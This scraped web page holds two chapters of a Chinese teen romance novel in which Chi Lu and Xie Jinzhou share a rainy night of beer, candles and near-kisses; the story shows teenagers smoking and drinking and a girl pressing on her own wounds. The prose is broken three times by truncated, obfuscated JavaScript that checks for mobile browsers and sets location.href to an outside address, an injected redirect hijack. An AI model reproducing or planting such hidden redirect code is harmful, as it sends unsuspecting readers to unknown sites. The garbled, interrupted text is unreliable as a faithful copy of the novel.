l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560751|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草渍。 再往上,是一双极长的腿,穿着黑色短裤、黑色背心,背心上缀着一颗锆石吊坠,闪着幽蓝的微光。 凸起的喉结,从脖颈一路往上延伸的黑色酷帅字母文身,利落的下颌线,高挺的鼻梁,单薄锋利的眼睛,雾霾蓝的头发。 有人来了。 是她最不愿意见的人。 “谢劲舟……”驰路喃喃地喊着他的名字,仰头看他,“是你吗?” “是我。”谢劲舟看着眼前的小姑娘,眼睛红得吓人,湿漉漉的,一看就在哭,可怜得要命,像被人遗弃的流浪猫,也像曾经那个无助的自己。 他蹲下身来,抬手擦着她脸上混杂在一起的泪水、雨水,在她还想说什么时,一把将她抱住,紧紧搂住:“你不是来陪我的吗,跑什么!” “舟哥!”驰路抬手也抱住谢劲舟,紧紧地抱着,像抱着唯一的救命稻草。 这个世界好像没有那么不堪,还有人愿意为她撑伞,也愿意揽她入怀。 谢劲舟第一次发觉,怀里的小姑娘竟然如此娇小,明明有一米七二的个头,但在他的怀里却成了小小的一只,他一把就能抱住。 在抱住的瞬间,他那颗空落落的心,再次被填满。 “阿驰,跟我回家吧。”谢劲舟轻拍着她的背,试图要抚掉她所有的颤栗和不安。 谢劲舟站起来,朝她伸手。 驰路将手放在他的手心,被他的大手握住,轻轻一拉,将她拉了起来。 谢劲舟往前走,却发现驰路落在身后,急忙走到她身旁:“怎么不走了?” “脚疼,膝盖疼。”驰路第一次在他面前露出委屈的模样。 谢劲舟见惯了女生这样,拿出撒娇、委屈来做杀手锏,以为能撬动他的心,他却不为所动。 但看到驰路这样,他的心弦却被重重扯了下,不是滋味。 谢劲舟低头去看她的膝盖,破了皮,还有血迹。 他将伞偏向驰路那边:“脚扭到了?” “嗯。” “能走吗?” “疼。” 谢劲舟把伞塞到驰路手里,同时塞到她手里的还有一个帆布包,这是她带过来的,里面装着她的作业本,还有几件衣服。 她有些庆幸自己把帆布包落下,也有些庆幸谢劲舟会来找她。 “干吗?” “拿着。” 就在驰路不知道他想做什么时,看到他蹲下身来,瞬间明白他要做什么了。 驰路没动:“你的右腿还没好。” “废什么话,还想不想早点回去,上来!”谢劲舟根本不给她商量的余地,用命令的口吻说。 驰路犹豫了几秒,跳上了他的背,搂住他的脖子。 谢劲舟双手放在她的膝盖窝里,保持着克制。 * 上山的路不好走,谢劲舟的右腿还没好,却固执地提前拆掉了夹板。 一个人走时已不利索,何况还背着了人。 但他尽可能走得稳,尽可能不让驰路发现他走路时的艰难。 每走一步,右腿膝盖都因承受着重压而疼上几分。 走得越多,疼痛越重,谢劲舟却不管,咬牙背了她一路。 手放到她的大腿上会轻松些,但他一直放在她的膝盖窝处。 不该碰的地方,他丝毫没去碰。 他有属于他的礼貌和矜持,只是在面对驰路的招惹时,所谓的礼貌、矜持全都化为泡影。 驰路打着伞,看着他弯下的脊背,脊梁越来越弯,几乎要被她压倒时,他又把她往上颠一下,牢牢抱住,再挺直脊背。 她看着他脖颈处的字母文身,忍不住伸手去摸。 “驰路,你做什么?”谢劲舟停下,侧头看她,眼神沉沉的,脸上都是汗。 “舟哥,你这文身什么意思?”驰路问出了一直想问的话。 “想知道?”谢劲舟转过头去,继续往上走。 “嗯。” “亲我一下。” 语气吊儿郎当,却又像这天空瓢泼而下的暴雨,下得那么认真。 35. 脖颈文身的意思 「见识过多少的风暴,才想要在风暴中起舞? Z,你可以不闪耀,但不要再下坠。 希望你的生命里少点风暴,不起舞的日子也很好!」 ——《小蝴蝶的盛夏》 驰路听不出他这话是在玩笑还是认真的,轻嗤道:“舟哥,果然不负浪子之名啊!” 谢劲舟说完,没指望能得到驰路的回应,没想到她却当了真。 但她不是用亲的,而是用咬的,伸出利齿,咬上他右颈侧最薄弱的肌肤,咬在文身上。 这只妖精般的蝴蝶,飞到他的心尖上,掀动翅膀,似掀起了一场惊天动地的海啸。 他说不上来什么感觉,既不爽又餍足,双重极具反差的情绪在他心头交织。 谢劲舟扣在驰路膝盖窝上的双手紧了几分,想要牢牢地抓住一点什么,哪怕要抓住的很沉,沉得似乎要超过他本应承受的负重。 他从来都知道,她不属于这里,她是短暂停留的蝴蝶,来过一阵,又会飞走。 驰路望着他文身处被她咬下的牙印,听到他说:“在风暴中起舞。” 如果不能在这破碎的世界里缝补,就在风暴中起舞。 * 到静心小屋时,天完全黑了,雨也下小了。 驰路从谢劲舟的背上跳下来时,腿有些发麻,站得不太稳,下意识地拽住谢劲舟的胳膊,看到他蹙起的眉头。 驰路笑着说:“腿麻了,当会儿我的拐杖。” 他的手臂很结实、劲瘦,看得见露出的蜿蜒青筋。 驰路状似无意地用指腹轻轻刮着,似有若无的。 谢劲舟面无表情,只有眉头不着痕迹地蹙了下。 驰路在心底笑了,她就想看他这副被她撩却还故作沉静自持的样子。 适可而止的道理驰路是懂的,她很快松开手,往前走。 他是野犬,她招惹不起,只能点到为止。 此时的驰路成了三周前的谢劲舟,走路一瘸一拐的,每走一步,右脚踝都泛疼,她咬牙往前走,尽可能让自己走得没那么狼狈。 她没转身,不知道身后的谢劲舟走得那叫一个狼狈。 一路背她上山,加重了他右腿的伤,他走路还没有驰路利索,膝盖处疼得厉害,他却眉头都没皱一下。 他将伞举在驰路头顶,而自己的大半边身子都在雨中,他的衣服已被雨水浸湿。 直到把她送到门边,他才停住,把伞扔在地上,倚靠在砖墙上,仰面朝天,任由大雨将他一遍遍淋湿。 驰路进了屋,却发现谢劲舟迟迟没进来,走到门边,往外瞧,没人。 奇怪,他去了哪里? 驰路刚想转身进屋,余光瞥见一侧的谢劲舟,立刻收了脚步。 他懒散地靠在墙上,仰着头,满脸都是雨水,浑身湿透,完全是个雨人,透着无法言说的悲伤和痛楚。 他在想什么?雨天会不会加重他的郁期? “舟哥,”驰路也走入雨中,陪他一起淋雨,拽住他的手腕,“你不是一个人,你有谢奶奶、小乔,还有……我。” 谢劲舟侧头看驰路,眼中似乎露出一抹笑意,垂眸间看到她拽着自己的那只手,沾满雨水和淤泥。 在自己的世界孤寂太久,本不想得到什么,但如果一旦从裂缝里射进来一束光,他就想得到,想拥有。 谢劲舟被雨水浸泡的那颗心脏又跳动起来,一把将驰路抱住,紧紧揽着她的肩膀。 第一次,像个孩子一样,弯腰,将脑袋埋在她的脖颈间。 驰路感到了他的异样,垂在身体两侧的手抬起,将他环住,轻轻地,一下一下地拍着,边拍边说:“舟哥,回屋吧。回屋了,我们就不用在风暴中起舞,我们可以在避风港里漫步。” 须臾,驰路听到谢劲舟用沉磁的嗓音说:“阿驰,下次没经过我的允许,你不可以离开!” 驰路本还沉浸在安抚他的情绪里,一下子被他这句话拉回现实,这人,还真是本色不改,霸道依然。 她忽然笑了,他还能跟自己说这样的话,说明没什么事了。 驰路从谢劲舟的怀里移开,牵住他的手,领他回屋。 * 屋里没有多余的拖鞋,驰路也没带,只好赤脚走入浴室。 刚迈进去一步,又收回了脚,这浴室能站人吗? 跟其他地方一样,都是水泥地,赤脚上去,岂不是会硌脚,甚至还会戳破她的脚心。 里面简陋得要命,只有一个水龙头,墙面上没有一个置物架,地上放了一个罐子,看样子是洗发水。 他过得这叫什么日子? 驰路的眉头紧紧皱着,想退出来,但现在浑身湿透,衣服湿哒哒,黏在身上格外不舒服。 澡肯定要洗,但就在这样的地方洗? 她无法忍受,可她还有别的选择吗? 就在她想转身跟谢劲舟抱怨两句时,听到啪的两声响,有什么东西落在她身旁。 驰路低头看,是一双黑色的男士拖鞋。 这双拖鞋,刚才还在谢劲舟的脚上。 她转头,看到斜倚在墙上的谢劲舟,看到他嘴里正叼着一根烟,眯着眼看她。 他身上也湿漉漉的,衣服上的雨水还在滴落。 驰路想抱怨的话,梗在喉间,忽然什么都不想说了,转身进去。 澡洗得很不痛快,没有热水,只有凉水,在降了温的天气里让驰路泛起冷意。 凉水滚过被划破的手臂、腿,疼意袭来。 这点疼对她而言不算什么,她看着手臂被划出的一道道长痕,用力按压上去,疼痛加重,她没龇牙,也没皱眉,反而苦笑起来。 脑中想起的是谢劲舟脖颈的文身,是他说的那句“在风暴中起舞”。 曾经风光无限的她,如果听到这话,会不屑地说一句“管什么在风暴中起舞,姐只会在繁花簇拥中起舞”。 她被小弟小妹们拥趸时,活得张扬、自我,以为自己说的话是金科玉律,自己下的指令是圣旨。 历经风暴后的她,才体会这句话的深意。 她跟他也不是完全没有交集,他们骨子里是一样的,一样的糟糕,一样的不想臣服命运。 * 驰路顶着湿漉漉的头发出了浴室,身上依然穿着谢劲舟宽松的黑色T恤、黑色短裤,趿拉着拖鞋往客厅走。 走到沙发前,踢掉大了好几码的拖鞋,懒懒散散地窝进沙发里,双腿抬起,翘在扶手上,整一个女大佬的姿态。 洗完澡,有一种难得的惬意和舒服将她包裹,即使这惬意和舒服里夹杂着寒冷。 不过,冷点算什么,不管是冷,还是疼,都让她真真切切地感到自己活着。 湿漉漉的头发贴着沙发,湿了一片,她却不顾。 她累了,想好好休息一下,但有人不想放过她。 驰路感到脑袋被人从沙发背上挪开,头发被人来回胡乱地用什么东西擦着,部分头发被撩到前面,不停擦过她的眼睛、她的脸,她不得不闭上眼。 她知道这个人不是旁人,而是谢劲舟。 想到是那个冷酷、痞帅的谢劲舟,驰路想想这一幕,觉得不可思议,也觉得荒唐。 怎么看,谢劲舟都不像会帮她擦头发的人,即使他把她当谢家人。 除了对谢奶奶、小乔,他会展现出温和的另一面,但对旁人,他喜怒不露,常常板着一张冷漠的冰山脸。 谢劲舟帮她擦头发的动作粗鲁,驰路想转头,却被他固定住脑袋,沉声说:“动什么!安分点。” 驰路索性不动了,渐渐适应了他的粗鲁,感到有什么从心间划过,温暖的,短促的,却又热烈的。 谢劲舟从她身后来到了她的身前,继续帮她擦前面的头发。 驰路微微睁眼的瞬间,被吓了一跳。 她这才发现,不知何时谢劲舟脱了上衣,此刻站在她面前的他裸露着上身,映在她眼前的是紧实的腰腹,能清晰地看到他的八块腹肌,还有性感的人鱼线。 她很少看到这样的谢劲舟,即使两人同住一个屋檐下, 也很少看到他不穿上衣。 在这个小镇,驰路走哪儿都能见到光着膀子、不穿上衣的男人,他们没那么多讲究,也不在意什么,就连罗子昂也这样,不过被谢劲舟说过两回后,每次在见驰路时,也都乖乖穿上上衣。 一定是湿衣服黏身上很不舒服吧。 这样想时,谢劲舟移开了手,把毛巾盖在她头发上,挡住了她的视线。 驰路刚想拿开毛巾,脑袋却被人往后一推,重重地碰到沙发背上,听到他说:“别弄湿沙发!” “……” 芳町镇的大佬这是给人塞了一块糖,又给人一块玻璃渣啊! 方才心头的那点温暖顿时消失无踪,驰路拿开毛巾,仰头看谢劲舟,却发现他的眸子里没有一贯的漠然,反而多了丝温柔,像错觉,却又那么真实。 谢劲舟从她手里拿过毛巾,甩到肩上,大步朝浴室走去。 驰路的视线追随着他的背影,宽肩窄腰,雾霾蓝嚣张的头发,走路懒散又带风,像极了二次元里走出来的少年,还真是够帅! * 谢劲舟洗澡间隙,驰路想闭眼休息会儿,却听到充上电的手机发出一连串的震动声,吵得她脑壳儿发疼。 她本来不想去管,奈何震动声太多,拿过手机想调成静音。 驰路不太关心有谁会找她,来芳町镇这段时间,找自己比较多的除了安然,现在多了江迟、许婉。 自从江迟跟自己表白被拒后,依然没放弃对她发起进攻,但他的进攻是温柔的、不会给她带来任何不适。 作为她的同桌,他知道她的一手信息,比如她有没有哪道题不会做,有没有吃饭,有没有哪里不舒服…… 他会在她面对难题犯难时及时解惑,会在她没有顾得上吃饭时,给她买罐装白桃味汽水、盒饭,会在她来例假时,为她准备一杯暖暖的红糖水。 他会给她恰到好处的关心,这份关心,每次都来得那么熨帖。 他会每天晚上十点钟跟她交流作业上的一些难题,把他觉得不解的题拍照发她,两人一起讨论,妥妥的学习搭子。 如果是这样在学习上进步的关系,驰路并不排斥。 除此之外,江迟每天都会跟她说“晚安”,每次都是一样的晚安表情,是一只盖着被子的小狗狗,鼻子里冒着气泡,图片上有“晚安”两个字,很可爱。 所以,每次看到这样的晚安表情,驰路总会想到江迟。 江迟没再对她说出“喜欢”,却都在他的表现里。 而她只把这些,当成同桌情。 没有结果的事,她不愿多想,不愿自寻烦恼。 说实话,江迟作为朋友,挺好。 至于许婉,是拉着她一起上厕所、一起去吃饭、放学一起走到学校门口的关系。 她们的称呼从叫对方全名,到叫“阿驰”“婉婉”,一切都来得顺其自然。 这是驰路来芳町镇收获到的情谊,还不够浓烈,却足够温暖她。 不知在何处的老爸老妈,最亲的人,却成了最遥远的人,没有对她嘘寒问暖,没有一点关切,仿佛她从这个世界消失了,是他们不再需要保持联络的那个人。 好在新的一个月,信用卡的钱又开始任她使用了。 驰路刚放到手机屏幕上的手忽然停住,上面显示有未接来电。 来自罗子昂的有三通,来自谢劲舟的居然有十三通。 谢劲舟什么时候打的?难道是自己给罗子昂打电话时他打来的? 他这人顶没耐心,居然给她打十三通电话!简直疯了! 他打电话给自己干吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560752|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她送帆布包? 如果是这样,干吗要给她打十三通电话? 驰路想不通,索性不想了,窝在沙发上看新信息,罗子昂发来了几条: 【宇宙无敌超级帅崽罗】:驰妹,给哥打电话有什么事吗? 【宇宙无敌超级帅崽罗】:驰妹,怎么不理哥了? 【宇宙无敌超级帅崽罗】:驰妹,你是挂哥电话了,还是手机没电了啊?怎么打你手机打不通? 【宇宙无敌超级帅崽罗】:驰妹,你没事吧?舟爷没把你怎么样吧?要不要哥去营救你? 驰路之前笑罗子昂取的微信名过于沙雕,让他改个,他抚了把他那特立独行的白色刺猬头说:“哥主打一个帅气,只有这样的名字才符合配得上哥!” 沙雕罗子昂的关心,让驰路有些感动,他看似神经大条,但该关心人的时候一点也不含糊。 驰路在聊天框里敲了一行字发出去。 【燕尾蝶】:我没事,你家舟爷也挺好。 他家舟爷其实不好,还差点溺水身亡,对此驰路选择了避而不谈。 是他的秘密,也是即使说出口别人也解决不了的事,倒不如不说。 驰路很快收到了罗子昂的回复。 【宇宙无敌超级帅崽罗】:驰妹,既然你去了,就好好管管舟爷吧,我怕他喝太多酒会喝死。还有,最好再安抚安抚他受伤的小心灵,郁期的舟爷可太颓了,你洒点阳光给他吧。 【燕尾蝶】:好! 聊天到此结束,驰路把手机放回去,想躺下去,却看到桌上放了一本《克林索尔的最后夏天》,有一页放着一枚叶片书签。 驰路坐起来,打开书签那一页,是扉页,看到上面写着:每当我感到迷失,我的地牢就会震动,我的锁链就会掉落。【注】 下面用黑笔写着:我的地牢震动了,我的锁链却没有掉落,我的世界,还在迷失。 字迹遒劲有力,潇洒张狂,每个字都有笔锋,锋利的,像字的主人。 驰路的心忽然痛了下,她想起自己曾在日记本上写过的一句话:我见过无数的日出和日落,但还是最喜欢墓碑,因为它最接近我的灵魂,因为最终它会是我的归处。 那时的她,精神出走,迷失在日日夜夜中。 他一定有过跟自己差不多的至暗时光。 驰路在这行字下面写了几句话,而后,把书放回原位,躺到沙发上闭目休息。 大概是太累了,这一闭眼就昏睡过去,正睡得香甜时,却被手机铃声弄醒,是谢劲舟的手机响了。 驰路没动,连眼睛都没睁开,只静静地听着谢劲舟说话,话很少,语气也不耐。 谢劲舟站在客厅,驰路能清楚地听到电话那头的是女声,还挺熟悉。 电话内容涉及到室内设计,谢劲舟前面一直在毫不客气地拒绝对方,但最后在女生的软磨硬泡下,说了声“好”,挂断电话。 这时,驰路终于睁眼,看到谢劲舟修长的手指在屏幕上点着什么。 她大概听明白了,女生想要加他的微信,最终他同意了。 驰路看着穿着黑色背心的谢劲舟,他身上透着一股张扬不羁的狠劲儿,哪怕是在这个简陋黯淡的小屋里,也盖不住他独一无二的气场。 他是不管放在芳町镇,还是放在大都市,都会吸引无数女生为之折腰的少年。 他的身边少不了莺莺燕燕,谁都想跟他靠近,哪怕知道他对爱情并不认真。 驰路知道谢劲舟就是这样的人,可为什么听到他同意加对方微信时,心底像被什么东西刺了一下,生生的疼。 其实,他加哪个女生,跟她有什么关系?但她为什么会在意? 驰路不喜欢这样的自己,情绪被他牵着。 驰路坐了起来,点了一根烟,叼在嘴里,深深吸了口,吐出一个眼圈,隔着烟雾看谢劲舟:“舟哥,又来桃花啦!” 狐狸眼勾着,语气里含着几分嘲讽。 刚余夏给他打电话,说给他再介绍一个室内设计的单子,比上次的要大,不过前提是,他得加她的微信,他得跟她重归于好。 谢劲舟对情爱之事本就淡薄,余夏更是他不再放在心上的人。 翻篇了就是翻篇了,他不会再想,更不会挂念。 余夏提出的交换条件显然超过他的接受范围,他不可能为了钱跟她重归于好。 然而余夏似乎早知道他会不接受,再次提出交换条件,只需要加她的微信。 这简单,不就是加个微信吗,加完,让她给了对方的联系方式,再删掉就好了。 谢劲舟加上余夏,但她并没有立刻给他发对方的手机号,他只好先把她放在自己的微信列表里。 谢劲舟听到驰路这样说,眸子慢悠悠地转过去。 外面的雨停了,天黑了,屋里亮着一盏小灯,只有灯泡的那种,散发出昏黄的光。 谢劲舟斜倚在门边,半边身子在光里,半边身子在阴影里,他的神色晦暗不明,但驰路看出了他眼眸里的沉郁。 谢劲舟没说话,而是朝她走过去,站在她身前,把手机扔到沙发上,从她嘴里抽出烟,兀自抽起来,每抽一口都朝她脸上吐一个烟圈。 青灰色的烟雾在两人周身萦绕,这个浑蛋,又来这招!是要呛死自己吗? 驰路想从谢劲舟嘴里夺过烟,他却一躲,眯眼看她,捏住她巴掌大的脸:“阿驰,你就这么在意老子的桃花开不开?你对我没半点意思,连狗都不信!” 他离她很近,烟雾喷洒在她的脸上,混着他的呼吸,灼热的,齐齐冲进她的所有感官。 再多的静谧、安宁,如鱼坠海,腾起阵阵浪花,搅浑了海水,搅得她的心一片混沌。 嚣张、霸道的少年,在某个瞬间,是朝天打响的一枚子弹,冲破暗夜的外壳,弹奏盛夏的篇章,激起一些说不清道不明的缱绻。 36. 一起玩解压游戏 「像穿越了一场梦境,找到了世界上的另一个自己。 要敲碎坚冰,要潜入海底,要看一看你。 直到把所有的力气和热情都耗尽。」 ——《不夜港》 “别自作多情!”驰路挡掉他的手,“随便问问,哪怕你开一树的桃花,都跟我没关系!” 谢劲舟吸完最后一口烟,将烟摁灭在烟灰缸里。 他从旁边的地上拖出来一箱啤酒,边拖边自言自语道:“最好是这样!” 谢劲舟用钥匙的尾端划开薄膜,拿出了四罐啤酒,一罐一罐地摇晃着,动作快又猛。 驰路在旁边看着他这样做,感到极为迷惑。 谁都知道啤酒晃后,打开会气泡会炸开,他为什么要这么做? 她将手撑着脑袋,做着一名看客,看着他把四罐啤酒都摇晃完,再单手打开拉环,动作帅到爆,随之而来的是炸开的气泡,冲向半空,响起滋滋啦啦的气泡声,罐口、罐壁上全都沾满气泡。 驰路看着他按照这样的开罐方式一连开了四罐,后面三罐冲向半空的气泡更高、更多,发出的声音也更大,她都担心会爆炸,但全程谢劲舟都很淡然。 玻璃茶几上漫开了啤酒沫,谢劲舟却像看不见一样,反而很享受这样的过程,脸上露出轻松自在的神色。 驰路终于开口:“你都这样喝啤酒?” 谢劲舟拿起一罐,擦也没擦粘在罐壁上的啤酒,拿起猛灌几口,朝她懒懒地掀了掀眼皮:“怎么,不好?” “很浪费。” “驰大小姐,你浪费的东西还少吗?”谢劲舟的语气里带着些许嘲讽。 “我浪费什么?”驰路不解。 “你买的那些价格不菲的衣服、鞋子、首饰、空调、洗衣机,不是浪费?” “有钱给自己买点好的,就是浪费?” “也是,你是大户人家的小姐,我们这种平民老百姓比不了。” “谢劲舟,你什么意思!” 什么大户大家的小姐!他这人真是专挑她的软肋进行攻击。 她现在不过是一只被打入冷宫的蝴蝶,爹不疼妈不爱,现在还有人像刺猬似的刺她。 不知道是不是他意识到她生气了,竟然给她递过去一罐啤酒。 驰路愤然接过,咕噜咕噜地喝了半罐,听到他说:“你不觉得晃后的啤酒罐,打开时的声音很解压?” “是吗?”刚才驰路只觉得他那样的打开方式特别,打开动作帅气,声音很响,至于解压,倒没有发觉。 “你仔细听听。”谢劲舟拿出一罐啤酒,使劲摇晃了十几下,单手拉开拉环,气泡炸开,像炸开的烟花,噼里啪啦地响。 驰路从沙发上坐起来,闭上眼,凑近去听,别说,这声音还挺解压,是她喜欢的声音。 谢劲舟又开了一罐,在炸响的声音里,他用磁性的暗沉嗓音问她:“怎么样?” “喜欢。”驰路侧头看他,发现他的眼里一扫沉沉的雾霾,有了些许光亮,深邃的眼眸里映出她的倒影。 离得近,驰路的呼吸忽然一滞,往后移了下,看他:“我包里的蜡烛呢?” 驰路发现谢劲舟给她带过去的帆布包里少了蜡烛。 “难道不是送我的?”谢劲舟说得理所应当。 “谁说要送你了!”驰路伸手,“给我!” 其实,是要送他的。 “不给!”谢劲舟耍起赖,喝完一罐啤酒,捏扁了,扔到桌上,还想拿第二杯时,却被驰路抓住啤酒罐。 她的手覆盖在他的手背上,紧紧地捏着,毫不示弱地瞪他,给他发射出“你不给我,我就不松手”的信号。 最后,谢劲舟认输,不是输在她的眼神上,而是输在她碰触自己的手心上。 他感觉继续这样下去,手都要热得燃烧了,心里也一阵烦躁。 谢劲舟甩开她的手,朝房间走去,走出来时,把蜡烛放在了桌上。 “给我下打火机。”驰路朝他伸手。 谢劲舟站在她身前,低头示意她打火机在裤子口袋里。 驰路见他一副“我是大佬,我懒得伸手”的样子,没跟他计较,抬手伸往他的裤子口袋,左右摸了一圈没摸到,再探到口袋最下面,终于摸到。 “你故意的吧?”谢劲舟感到被她碰触的地方有些痒,眉头轻蹙。 “故意什么?”驰路拿出了打火机。 “故意摸老子!” “你以为我跟其他女生一样,馋你的身子?”驰路抬眼,嗤笑道,“我看过的帅哥比你吃过的饭还多,谁要摸你!” “其他帅哥,你摸过?”谢劲舟眉头皱得更深,眼眸变得锐利。 “你在意?”驰路挑眉。 “老子在意个屁!”谢劲舟在她身边坐了下来,双腿大敞开,身体懒散地靠在沙发背上,发现自己的腿微微碰到她的,慢悠悠地收回。 驰路眉眼间闪现一抹笑,没再搭话,拿纸把茶几上的啤酒沫都擦干净,才把香氛蜡烛挪到茶几中间,按下打火机,一簇星火腾地跃起,点燃簇新的烛芯,昏黄的火焰燃烧。 “把灯关了吧。” 谢劲舟往驰路身旁靠近,抬手拉下了灯的开关,开关是线的,上下拉。 靠近他时,他高大的身体几乎把她笼住,她闻到了属于他的气息,烟酒味,混杂着皂香的沐浴露的味道,还散发出男性特有的荷尔蒙味道。 这样的气息,在他移开后,转瞬即逝。 屋里寂静万分,只听得见屋外偶尔传来的虫鸣声,屋内蚊子煽动翅膀发出的嗡嗡声。 香氛蜡烛点燃后,发出似壁炉里柴火燃烧的声音,噼里啪啦作响。 还有,他们的呼吸声,均匀的,轻缓的,越来越急促的。 两人静静地坐着、听着,感受着,心里划过前所未有的静谧。 许久,驰路打破了这份静谧,用她特有的金属烟嗓说:“怎么样,是不是也解压?” 她的声音落在昏暗的小屋里,像拉响的小提琴,又沉又好听。 谢劲舟望着烛火,想到了儿时停电,老妈点的红色蜡烛,不由得想起老妈,心底一痛,右手嵌进沙发里。 驰路感受到了他异样的情绪,伸手,犹豫了几秒,放在他右手手背上,轻轻抚摸着,似乎在告诉他“他不是一个人,还有她”。 谢劲舟的心绪渐渐被她温柔的举动抚平,将所有的心思集中到蜡烛上,听着蜡烛发出的噼里啪啦的声音,跟他喜欢的啤酒气泡冲向半空的声音相似,都一样的让人舒心、让人解压。 谢劲舟感到手背的温度越来越烫,几乎要烫穿他的心脏。 他缓缓抽回了手,侧头看驰路:“阿驰,原来,我们是一路人。” * 驰路学着谢劲舟的样子摇晃罐装啤酒,听着啤酒晃动罐壁时的声音,使劲晃了十几下,右手食指扣上拉环,“砰”一下,轻松打开,动作酷飒。 啤酒沫飞冲向半空,发出剧烈的“砰”的震响,飞沫四溅,溅到了他们的脸上。 “阿驰,你这太没礼貌了,故意的吧。”谢劲舟抹了把脸上的啤酒沫,盯着小姑娘,看到她眼里闪着一丝笑意。 “啤酒沫想飞到哪里,又不是我能决定的。”驰路说得极其无辜。 谢劲舟不是第一天认识驰路,自然知道她心里的一些小把戏。 他拿过一罐啤酒,用力晃动,故意放在驰路的脸上。 “干吗呢,谢劲舟,你不会……”驰路往后退,谢劲舟就靠近她,同时靠近她的还有啤酒罐。 驰路退无可退时,谢劲舟蔫儿坏地单指拉开拉环,啤酒沫在两人脸上飞溅。 “谢劲舟!”驰路被溅了满脸,气得想说话,发现嘴边都是啤酒沫,划入唇间,味道清爽,又带着点醇香。 算了,不擦了。 驰路看向谢劲舟,他也没好到哪里去,脸上也满是啤酒沫,像个帅气的小丑。 他们凝视着彼此,神色原本都不太好,但看着看着,忽然都笑了。 从无声到有声,笑声像恣意生长的藤蔓,生生不息。 几乎在同一时间,在烛光的映照下,两人抬手,帮对方擦着脸上的啤酒沫。 每擦一下,笑声都小一点,看着彼此的眼眸都深一点。 擦到最后,笑声止息。 他的手放在她的眼尾,那颗胭脂痣上;她的手放在他嘴巴下方,那颗小小的黑痣上。 这是他们想触碰的地方,如今轻易触摸到,竟有些异样的感觉,都说不上来,都想停留。 驰路的手停住,小小的黑痣微微凸起,几乎感觉不到,却让她觉得有些烫手,脸颊微微泛红。 谢劲舟只在她梦游时摸过她的这颗胭脂痣,此刻摸着,指腹间似燃起火焰,沿着他的血管蔓延,血液都开始发烫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560753|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他停住的指腹忽然动了,摸着这颗胭脂痣,一下一下,很轻很轻。 驰路的身体彻底僵住,怔怔地看着他,心底升起一种前所未有的情愫,似有人用什么东西挠着她的心脏,有些痒,又有些酥麻。 他的眸子很黑,在这闪着微光的小屋里,越发显得漆黑深邃,看她时,似乎藏着即将要爆发的暗火。 香氛蜡烛发出噼里啪啦的声音,飘荡着白桃乌龙的香气。 一阵阵凉风,透过半开的窗飘进来,携带清新湿润的青草味。 除此之外,他们之间,有一股浓烈的暧昧气息,如溪涧潺潺流水,缓缓流淌。 他们听到了,彼此的心跳声,咚咚咚地响,响过香氛蜡烛发出的声音,盖过屋外的虫鸣。 在这场盛大的寂静和喧嚣里,谢劲舟一把将驰路按在了沙发上。 咫尺之间,全是彼此炽热的气息,混在一起,分不清到底是谁的。 谢劲舟的身体虚空地在她身体上方,双手撑在她的脑袋两侧。 他脖颈间的项链吊坠扫过她的天鹅颈,落在她的胸前。 谢劲舟俯身,吻上她的脸。 驰路忽然怔住,手脚几乎不能动弹,像被人置于案板上的一条鱼,只能任人宰割。 直到谢劲舟吻掉她脸上的三处啤酒沫,驰路才猛然回神,一把将他推开,质问他:“谢劲舟,你发什么疯!” 谢劲舟将她的双手钳住,像有强迫症似的,继续吻她脸上的啤酒沫,吻过她眼尾的那颗胭脂痣,吻过她小巧的鼻尖,吻过她的脸,最后落在她唇边。 轻轻吻着,几乎碰到她的嘴唇,却没有移过去一分。 驰路知道,自己明明可以推开他的,不知为何,生生地承受着他的亲吻。 他吻得那么轻,又那么细致,区别于以往霸道的、占有的吻。 不知是氛围太好,还是他的吻让她动容,以至于驰路有瞬间的错觉,觉得亲自己的这个人,那么温柔,温柔到,好像喜欢自己。 这次,她没有伸出她的利齿,没有给他点颜色看看,而是睁着眼,看着他一点一点吻掉自己脸上的啤酒沫。 最后看到谢劲舟像没事人似的从她唇边移开,松开了她的手,舔了舔残留在唇边的啤酒,勾唇说:“味道不错。” 他离驰路很近,呼吸都喷洒在她的脸上,飘散出啤酒的幽香。 驰路的心跳紊乱,剧烈跳动,像极了摇晃后炸开的啤酒。 “谢劲舟,你在做什么!”驰路清醒过来,一把将他推开。 谢劲舟没恼,反而笑了,从桌上拿过一罐啤酒,猛灌了一瓶才悠悠然地去看驰路,单手捏住她的下巴:“我就喜欢你这样。” “什么样?”驰路别过头,想甩开他的手,却被他捏住掰向他。 “看我不爽,又拿我没办法的样子。” “神经病!” 谢劲舟的眸子忽然阴沉下去,露出一股狠劲儿。 驰路知道,说到他的痛处了,他生气了,估计要变着法儿地惩罚自己。 就在驰路觉得谢劲舟要像野狗似的乱咬人时,他反而松开了她的下巴,笑了。 两年前,人人都觉得他有病,大街小巷到处是他的传闻,说他弑父杀母,丧尽天良,说他不学无术,打架斗殴。 他如过街老鼠,人人躲而避之。 不过也不是没人在乎他,越是狠戾之人,越是招到混混组织的厚爱,都想拉他入组织。 他谁也没加入,自己倒混成了芳町镇闻名四方的大佬,麾下有罗子昂、秦深等一帮小弟。 